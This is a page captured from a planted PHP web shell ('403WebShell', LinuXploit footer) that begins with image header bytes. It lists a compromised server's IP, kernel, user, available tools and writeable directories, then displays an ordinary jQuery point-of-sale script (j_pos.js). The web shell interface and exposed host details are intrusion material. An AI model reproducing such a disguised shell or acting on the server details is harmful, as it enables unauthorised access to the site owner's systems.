����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.227.134.222
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/app6/application/salesCredit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/app6/application/salesCredit/j_pos.js
$(document).ready( function () 
{
	$('#txtsalesdate,#txtfirstperiod,#txtlastperiod').datepicker({
		format: 'dd-mm-yyyy',
	});

	function reposition() {
		var modal = $(this),
		dialog = modal.find('.modal-dialog');
		modal.css('display', 'block');
		dialog.css("margin-top", Math.max(0, ($(window).height() - dialog.height()) / 2));
	}

	$('.modal').on('show.bs.modal', reposition);
	$(window).on('resize', function() {
		$('.modal:visible').each(reposition);
	});

	$( "#modaleditparam" ).find( ".modal-footer" ).remove();
	$( "#modalpayment" ).find( ".modal-footer" ).remove();
	decimal();
	money();
	init_data();
	//Agregado 2021/04 tabla existencias
	init_data2();
	
$(document).ready(function(){  
      $("#txtsearchitem2").keypress(function(e) {
        if(e.which == 13) {
		  var trx = $("#txtsearchitem2").val();
		  var qty = 1;
		  var separador = "&";
		  var arrayDeCadenas =  trx.split(separador);
		  
		  if(trx.indexOf(separador) != -1 ) {
			trx = arrayDeCadenas[0]; 
			qty = arrayDeCadenas[1]; 
			 temptabel2(trx,qty); 
		  }else{
            temptabel2(trx,qty);  
		  }
		  
        }
      });
});
	
	
$( "#txtsearchitem" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("autocomplete_item.php", { term: $('#txtsearchitem').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
				temptabel(ui.item.id_item);
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.label + "</dt>"+item.price+item.note+ "</dl>"  )
		.appendTo( ul );
};


	
	$( "#txtclient" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("autocomplete_client.php", { term: $('#txtclient').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					$("#client_id").val(ui.item.id_client);
					$("#cliente").val(ui.item.value);
					$("#credito").val(ui.item.credito);
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.id + "</dt>"+item.name+item.rfc+ "</dl>"  )
		.appendTo( ul );
	};

	
});

$(document).on("click",'#btncheckpass',function(){

	var trx = $("#txthiddentrans").val();
	var id_sales = $("#txthidetrxid").val();
	if(id_sales == '' || id_sales == null)
	{
		$.notify({
			message: "No transaction processed"
		},{
			type: 'warning',
			delay: 5000,
		});
		return;
	}
	var pass=$("#txtpass").val();
	var value = {
		pass : pass,
		method : "check_password"
	};
	$.ajax(
	{
		url : "../model/check_password.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.auth == true)
			{
				$("#passwordmodal").modal("hide");
				$("#txtpass").val("");
				delete_trans(id_sales);
			}else{
				$.notify({
					message: "Password does not match"
				},{
					type: 'danger',
					delay: 10000,
				});
				set_focus("#txtpass");
				return;
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			loading_stop();
		}
	});


});
function delete_trans(sale_id)
{
	var value = {
		sale_id : sale_id,
		method : "delete_trans"
	};
	loading_start();
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{

			var data = jQuery.parseJSON(data);
			if(data.result == true)
			{
				$("#btnfiltersale").click();
			}else{
				$.notify({
					message: "Error delete transaction , Error : "+data.error
				},{
					type: 'danger',
					delay: 10000,
				});
			}	
			loading_stop();
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			loading_stop();
			
		}
	});	
}
$(document).on("click",".btndeletesale",function(){
	$("#passwordmodal").modal("show");
	$("#txthidetrxid").val($(this).attr("sale_id"));
	$("#txthiddentrans").val("D");
	$("#notepassword").html("Please enter user password to delete transaction!");
	set_focus("#txtpass");
});

$(document).on("click","#btnpayment",function(){
	var id_trans = $("#txtidsales").val();
	var tgl_trans = $("#txtsalesdate").val();

	if(id_trans == '' || id_trans == null){
		$.notify({
			message: "Please fill out id transaction!"
		},{
			type: 'warning',
			delay: 10000,
		});	
		return;
	}
	if(tgl_trans == '' || tgl_trans == null){
		$.notify({
			message: "Please fill out transaction date!"
		},{
			type: 'warning',
			delay: 10000,
		});	
		return;
	}
	var value = {
		method : "check_tempsale"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.tempsale == false)
			{
				$.notify({
					message: "No items have been selected in the shopping cart list!"
				},{
					type: 'warning',
					delay: 10000,
				});	
				set_focus("#txtsearchitem");
				return;
			}else
			{
				var total = parseFloat(cleanString($("#txttotal").html()));
				$("#txtinfoidtrans").val($("#txtidsales").val());
				$("#txtinfodatetrans").val($("#txtsalesdate").val());
				$("#txtgrandtotal").val(addCommas(total));
				$("#txtmoneypay").val(addCommas(total));
				$("#txtoddmoney").val(0);
				$("#modalpayment").modal("show");
				set_focus("#txtmoneypay");
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
		}
	});

})


$(document).on("click","#btnpayment2",function(){
	var id_trans = $("#txtidsales").val();
	var tgl_trans = $("#txtsalesdate").val();
	var id_client = $("#txtclient").val();

	if(id_trans == '' || id_trans == null){
		$.notify({
			message: "Por favor verifique id transaccion!"
		},{
			type: 'warning',
			delay: 5000,
		});	
		return;
	}
	if(tgl_trans == '' || tgl_trans == null){
		$.notify({
			message: "Por favor verifique la fecha!"
		},{
			type: 'warning',
			delay: 5000,
		});	
		return;
	}
	if(id_client == '' || id_client == null){
		$.notify({
			message: "Por Favor ingrese el nombre del cliente!"
		},{
			type: 'warning',
			delay: 5000,
		});	
		return;
	}
	
	var value = {
		method : "check_tempsale"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.tempsale == false)
			{
				$.notify({
					message: "No Hay Registros en la venta!"
				},{
					type: 'warning',
					delay: 5000,
				});	
				set_focus("#txtsearchitem");
				return;
			}else
			{
				var total = parseFloat(cleanString($("#txttotal").html()));
				$("#txtinfoidtrans2").val($("#txtidsales").val());
				$("#txtinfodatetrans2").val($("#txtsalesdate").val());
				$("#txtgrandtotal2").val(addCommas(total));
				$("#txtmoneypay2").val(addCommas(total));
				$("#txtoddmoney2").val(0);
				$("#modalpayment2").modal("show");
				set_focus("#txtmoneypay2");
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
		}
	});

})

$(document).on("blur","#txtmoneypay",function (){
	var total = parseFloat(cleanString($("#txttotal").html()));
	var paid =  parseFloat(cleanString($(this).val()));
	var returnchange = paid - total;
	if(isNaN(returnchange))
	{
		returnchange = 0;
		$("#txtmoneypay").val(addCommas(total));
	}
	if(paid < total){
		$("#txtmoneypay").val(addCommas(total));
		$("#txtoddmoney").val(0);
	}else{
		$("#txtoddmoney").val(addCommas(returnchange));
	}
});



$(document).on("click","#btnsavetrans",function()
{
	var sale_id = $("#txtidsales").val();
	var sale_date = $("#txtsalesdate").val();
	var paid =  parseFloat(cleanString($("#txtmoneypay").val()));
	var total =  parseFloat(cleanString($("#txtgrandtotal").val()));
	var disc_prcn = parseFloat(cleanString($("#txttotaldiscprc").val())); 
	var disc_rp = parseFloat(cleanString($("#txttotaldiscrp").val()));
	var note= $("#txtnote").val();
	
	swal({   
		title: "Pago",   
		text: "Guardar Venta ?",   
		type: "warning",   
		showCancelButton: true,   
		confirmButtonColor: "#DD6B55",   
		confirmButtonText: "Pagar",   
		closeOnConfirm: true }, 
		function(){   
			$("#btnsavetrans").prop('disabled', true);
			proccess_waiting("#infoproccesspayment");
			var value = {
				sale_id : sale_id,
				sale_date : sale_date,
				total : total,
				paid : paid,
				disc_prcn : disc_prcn,
				disc_rp : disc_rp,
				note : note,
				method : "save_trans"
			};
			$.ajax(
			{
				url : "c_pos.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					$("#btnsavetrans").prop('disabled', false);
					$("#infoproccesspayment").html("");
					var data = jQuery.parseJSON(data);
					if(data.result == true){
						var xid_sales = data.xsale_id;
			
						$("#modalpayment").modal('hide');
						
						    setTimeout(function() {
							$.redirect("http://localhost/pos36/pos11/index.php?view=onesellN&id="+ xid_sales,{ id_sales: xid_sales,duplikasi:0},'POST','_blank'); }, 500); // After 420 ms
							
						
							
							$.notify({
								message: " Venta Registrada "
							},{
								type: 'info',
								delay: 1000,
							});
							
						reset_data();
					}else{
						$.notify({
							message: "Error save transaction, error :"+data.error
						},{
							type: 'danger',
							delay: 10000,
						});		
					}

				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$("#infoproccesspayment").html("");
					$("#btnsavetrans").prop('disabled', false);
				}
			});
		});

})

$(document).on("blur","#txtmoneypay2",function (){
	var total = parseFloat(cleanString($("#txttotal").html()));
	var paid =  parseFloat(cleanString($(this).val()));
	var returnchange = total - paid;
	if(isNaN(returnchange))
	{
		returnchange = 0;
		$("#txtmoneypay2").val(addCommas(total));
	}
	if(paid > total){
		$("#txtmoneypay2").val(addCommas(total));
		$("#txtoddmoney2").val(0);
	}else{
		$("#txtoddmoney2").val(addCommas(returnchange));
	}
});

$(document).on("click","#btnsavetrans2",function()
{
	var sale_id = $("#txtidsales").val();
	var sale_date = $("#txtsalesdate").val();
	var paid =  parseFloat(cleanString($("#txtmoneypay2").val()));
	var total =  parseFloat(cleanString($("#txtgrandtotal2").val()));
	var disc_prcn = parseFloat(cleanString($("#txttotaldiscprc").val())); 
	var disc_rp = parseFloat(cleanString($("#txttotaldiscrp").val()));
	var note= $("#txtnote").val();
	var credito = $("#credito").val();
	var id_client = $("#client_id").val();
	var credit_amount =  parseFloat(cleanString($("#txtoddmoney2").val()));
	
	
	if(credito == '' || credito == null || credito != "SI" ){
		
		$.notify({
			message: "El cliente no tiene  credito!"
		},{
			type: 'warning',
			delay: 5000,
		});	
		return;
	}
	
	swal({   
		title: "Pago",   
		text: "Guardar Venta credito?",   
		type: "warning",   
		showCancelButton: true,   
		confirmButtonColor: "#DD6B55",   
		confirmButtonText: "Pagar",   
		closeOnConfirm: true }, 
		function(){   
			$("#btnsavetrans2").prop('disabled', true);
			proccess_waiting("#infoproccesspayment2");
			var value = {
				sale_id : sale_id,
				sale_date : sale_date,
				total : total,
				paid : paid,
				id_client : id_client,
				disc_prcn : disc_prcn,
				disc_rp : disc_rp,
				note : note,
				credit_amount : credit_amount,
				method : "save_trans2"
			};
			$.ajax(
			{
				url : "c_pos.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					$("#btnsavetrans2").prop('disabled', false);
					$("#infoproccesspayment2").html("");
					var data = jQuery.parseJSON(data);
					if(data.result == true){
						var xid_sales = data.xsale_id;
			
						$("#modalpayment2").modal('hide');
						
						    setTimeout(function() {
							$.redirect("http://localhost/pos36/pos11/index.php?view=onesellN&id="+ xid_sales,{ id_sales: xid_sales,duplikasi:0},'POST','_blank'); }, 500); // After 420 ms
								
							$.notify({
								message: " Venta Registrada a credito "
							},{
								type: 'success',
								delay: 1000,
							});
							
						reset_data();
					}else{
						$.notify({
							message: "Error save transaction, error :"+data.error
						},{
							type: 'danger',
							delay: 10000,
						});		
					}

				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$("#infoproccesspayment").html("");
					$("#btnsavetrans").prop('disabled', false);
				}
			});
		});

})

$(document).on("click",".btndiscprc",function (e){
	e.preventDefault();
	$("#txttotaldiscprc").prop('disabled', false);
	$("#txttotaldiscrp").prop('disabled', true);
	$("#txttotaldiscprc").focus();
});
$(document).on("click",".btndiscrp",function (e){
	e.preventDefault();
	$("#txttotaldiscrp").prop('disabled', false);
	$("#txttotaldiscprc").prop('disabled', true);
	$("#txttotaldiscrp").focus();
});
$(document).on("blur","#txttotaldiscprc",function(){
	if (isNaN($(this).val()))
	{
		$(this).val(0);
	}
	if($(this).val() > 100 || $(this).val() < 0 ){
		$(this).val(0);
		var prcn = 0;
	}else{
		var prcn = parseFloat($(this).val());
	}
	var subtotal = parseFloat(cleanString($("#txtsubtotal").val()));
	var discrp = subtotal * (prcn/100);
	var total = subtotal - discrp;
	$("#txttotaldiscrp").val(addCommas(discrp));
	$("#txttotal").html(addCommas(total)); 
});

$(document).on("blur","#txttotaldiscrp",function(){
	var subtotal = parseFloat(cleanString($("#txtsubtotal").val()));
	if(parseFloat(cleanString($(this).val())) > subtotal || parseFloat(cleanString($(this).val())) < 0 ){
		$(this).val(0);
		var discrp = 0;
	}else{
		var discrp = parseFloat(cleanString($(this).val()));
	}
	var prcn = (discrp/subtotal) * 100;
	if(isNaN(prcn)){
		prcn = 0;
	}
	if(isNaN(discrp)){
		discrp = 0;
	}
	var total = subtotal - discrp;

	$("#txttotaldiscprc").val(prcn.toFixed(2));
	$("#txttotal").html(addCommas(total)); 
});



$(document).on("click","#btnubahedit",function(){
	var nilai = cleanString($("#txtvalue").val());
	var jenis = $("#txtdataparam").val();
	var key = $("#txtkey").val();

	var value = {
		nilai: nilai,
		jenis:jenis,
		key:key,
		method : "updatedetail"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_transaction').DataTable(); 
				table.ajax.reload( null, false );
				$( "#modaleditparam" ).modal("hide");
				refresh_total();
			}else{
				$.notify({
					message: "Error edit , error :"+data.error
				},{
					type: 'danger',
					delay: 10000,
				});		
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
		}
	});
});
$(document).on("click",".btndelete",function(){
	var id_item = $(this).attr("id_item");
	var value = {
		id_item: id_item,
		method : "deletedetail"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_transaction').DataTable(); 
				table.ajax.reload( null, false );
				refresh_total();
			}else{
				$.notify({
					message: "Error delete list item , error :"+data.error
				},{
					type: 'danger',
					delay: 10000,
				});		
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
});

$(document).on("click",".editparam",function(){
	var dataparam=$(this).attr("dataparam");
	var datatitle=$(this).attr("datatitle");
	var val=$(this).attr("val");
	var key = $(this).attr("key");

	$( "#modaleditparam" ).find( ".modal-title" ).html(datatitle);
	$("#txtdataparam").val(dataparam);
	$("#txtvalue").val(val);
	$("#txtkey").val(key)

	$("#modaleditparam").modal("show");
	set_focus("#txtvalue");


})
$(document).on("click",".btnnota",function(){
	var idjual = $(this).attr("id_sales");
	var jnsjual = $(this).attr("jns_jual");
	if(jnsjual == 1)
	{
		$.redirect("nota_jual.php",{ id_sales: idjual,duplikasi:1},'POST','_blank');
	}else{
		$.redirect("nota_tempo.php",{ id_sales: idjual,duplikasi:1},'POST','_blank'); 

	}
});

$(document).on("click","#btncancel",function(){
	swal({   
		title: "Reset",   
		text: "Empty transaction ?",   
		type: "warning",   
		showCancelButton: true,   
		confirmButtonColor: "#DD6B55",   
		confirmButtonText: "Reset",   
		closeOnConfirm: true }, 
		function(){   
			reset_data();
		});
});

function temptabel(idbrg){
	var value = {
		id_item: idbrg,
		method : "save_temptable"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_transaction').DataTable(); 
				table.ajax.reload( null, false );
				$("#txtsearchitem").val("");
				refresh_total();
				set_focus("#txtsearchitem2");
				$("#txtsearchitem2").val("");
			}else{
				$.notify({
					message: "Error Producto, # 1A"
					
				},{
					type: 'danger',
					delay: 1000,
				});	
					$("#txtsearchitem2").val("");
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			$.notify({
					message: "Error Producto/Consulta"
					
				},{
					type: 'danger',
					delay: 1000,
				});	
				$("#txtsearchitem2").val("");
		}
	});
}


function temptabel2(idbrg){
	var value = {
		id_item: idbrg,
		method : "save_temptable2"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_transaction').DataTable(); 
				table.ajax.reload( null, false );
				$("#txtsearchitem").val("");
				refresh_total();
				set_focus("#txtsearchitem2");
				$("#txtsearchitem2").val("");
			}else{
				$.notify({
					message: "Error Producto No Existe!! , Code error : 1_Codigo_Barras "
					
				},{
					type: 'danger',
					delay: 1000,
				});	
					$("#txtsearchitem2").val("");
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
}
function refresh_total(){
	var value = {
		method : "get_subtotal"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			var subtotal = data.subtotal;
			$("#txtsubtotal").val(addCommas(subtotal));
			$("#txttotaldiscprc").blur();
			var discrp = cleanString($("#txttotaldiscrp").val());
			var total =addCommas(subtotal - discrp);
			$("#txttotal").html(ddCommas(subtotal));
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
	
}
$(document).bind('keydown', 'f9', function(){
	$("#btnpayment").click();
});
function newkdtrans(){
	var tgl = $("#txtsalesdate").val();
	var thn = tgl.substr(8, 4);
	var bln = tgl.substr(3, 2);
	var dy = tgl.substr(0, 2);
	var _first = 'J';
	$("#txtidsales").val(_first+thn+bln+dy+'###');
}
function reset_data(){
	var value = {
		method : "reset_table"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_transaction').DataTable(); 
				table.ajax.reload( null, false );
				$("#txttotaldiscprc").val(0);
				$("#txttotaldiscrp").val(0);
				$("#txtsubtotal").val(0);
				$("#txttotal").html("0");
				$("#txtnote").val("");
				$("#txtsearchitem2").val("");
				refresh_total();
				set_focus("#txtsearchitem2");
			}else{
				$.notify({
					message: "Can not reset data, error :"+data.error
				},{
					type: 'danger',
					delay: 10000,
				});		
			}
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
}

$(document).on("click","#btnopentransaction",function(){

	$("#modallasttrans").modal("show");
	$("#table_last_transaction tbody").html("");
});
$(document).on("click","#btnfiltersale",function(){
	var first = $("#txtfirstperiod").val();
	var last = $("#txtlastperiod").val();
	var value = {
		first : first,
		last : last,
		method : "get_trans_sale"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			$("#table_last_transaction tbody").html(data.hasil);
		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
		}
	});
});
function init_data(){

	var value = {
		method : "getdata"
	};
	$('#table_transaction').DataTable({
		"paging": false,
		"lengthChange": false,
		"searching": false,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": false,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"columnDefs": [
		{ className: "textright", "targets": [ 3,4,5,6 ] }
		],
		"ajax": {
			"url": "c_pos.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
	{ "data": "urutan" },
		{ "data": "id_item" },
		{ "data": "barcode" },
		{ "data": "item_name" },
		{ "data": "price" },
		{ "data": "qty" },
		{ "data": "discprc" },
		{ "data": "subtotal" },
		{ "data": "button" },
		]
	});
	$("#txttotaldiscprc").val(0);
	$("#txttotaldiscrp").val(0);
	$("#txtsubtotal").val(0);
	$("#txttotal").html("0");
	refresh_total();
	set_focus("#txtsearchitem");
	newkdtrans();
}

//Agregado al 2021 actualizacion

$(document).ready(function(){
   $("#selector-forma").load('../model/select.php');
});

$(document).ready(function(){
   $("#selector-forma2").load('../model/select2.php');
});

$(document).ready(function(){
   $("#selector-seller").load('../model/select_seller.php');
});

$(document).on("blur","#selector-seller",function (){
	var valor =  document.getElementById('selector-seller').value ;
	document.getElementById('id_seller').innerHTML = valor;
	document.getElementById('id_seller_ok').value = valor;
});

$(document).bind('keydown', 'f7', function(){
	$("#btnExistencias").click();
});

$(document).on("click","#btnExistencias",function(){
	$("#modalExistencias").modal("show");
	
});

$(document).on("click",'#btnExistenciaCodigo',function(){
        var trx = $("#txtItem").val();
		var qty = 10;
        temptabel3(trx,qty); 
});


function temptabel3(idbrg,qty){
	var value = {
		id_item: idbrg,
		qty: qty,
		method : "save_temptable3"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			
			$.notify({
					message: "Procesando Datos Espere...."
					
				},{
					type: 'info',
					delay: 1000,
				});	
			
			if(data.result ==1){
				var table = $('#table_last_transactionEx').DataTable(); 
				table.ajax.reload( null, false );
				$("#txtItem").val("");
				set_focus("#txtItem");
			}else{
				$.notify({
					message: "Error Producto!! , Code error : Modulo_Existencias "
					
				},{
					type: 'danger',
					delay: 2000,
				});	
					
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
			
			$.notify({
					message: "Error Registro tabla Ventas "
					
				},{
					type: 'danger',
					delay: 2000,
				});	
			
		}
	});
}

function init_data2(){
	var value = {
		method : "getdata2"
	};
	$('#table_last_transactionEx').DataTable({
		"paging": false,
		"lengthChange": true,
		"searching": false,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": true,
		"pageLength": 60,
		"dom": '<"top"f>rtip',
		"columnDefs": [
		{ className: "textright", "targets": [ 3,4,5,6 ] }
		],
		"ajax": {
			"url": "c_pos.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "barcode" },
		{ "data": "item_name" },
		{ "data": "price" },
		{ "data": "prices" },
		{ "data": "qty" },
		{ "data": "discprc" },
		{ "data": "subtotal" },
		{ "data": "merma" },
		{ "data": "button" },
		]
	});
	
}

$(document).on("click",".btndelete2",function(){
	var id_item = $(this).attr("id_item");
	var value = {
		id_item: id_item,
		method : "deletedetail2"
	};
	$.ajax(
	{
		url : "c_pos.php",
		type: "POST",
		data : value,
		success: function(data, textStatus, jqXHR)
		{
			var data = jQuery.parseJSON(data);
			if(data.result ==1){
				var table = $('#table_last_transactionEx').DataTable(); 
				table.ajax.reload( null, false );
				refresh_total();
			}else{
				$.notify({
					message: "Error delete list item , error :"+data.error
				},{
					type: 'danger',
					delay: 1000,
				});		
			}

		},
		error: function(jqXHR, textStatus, errorThrown)
		{
		}
	});
});




Youez - 2016 - github.com/yon3zu
LinuXploit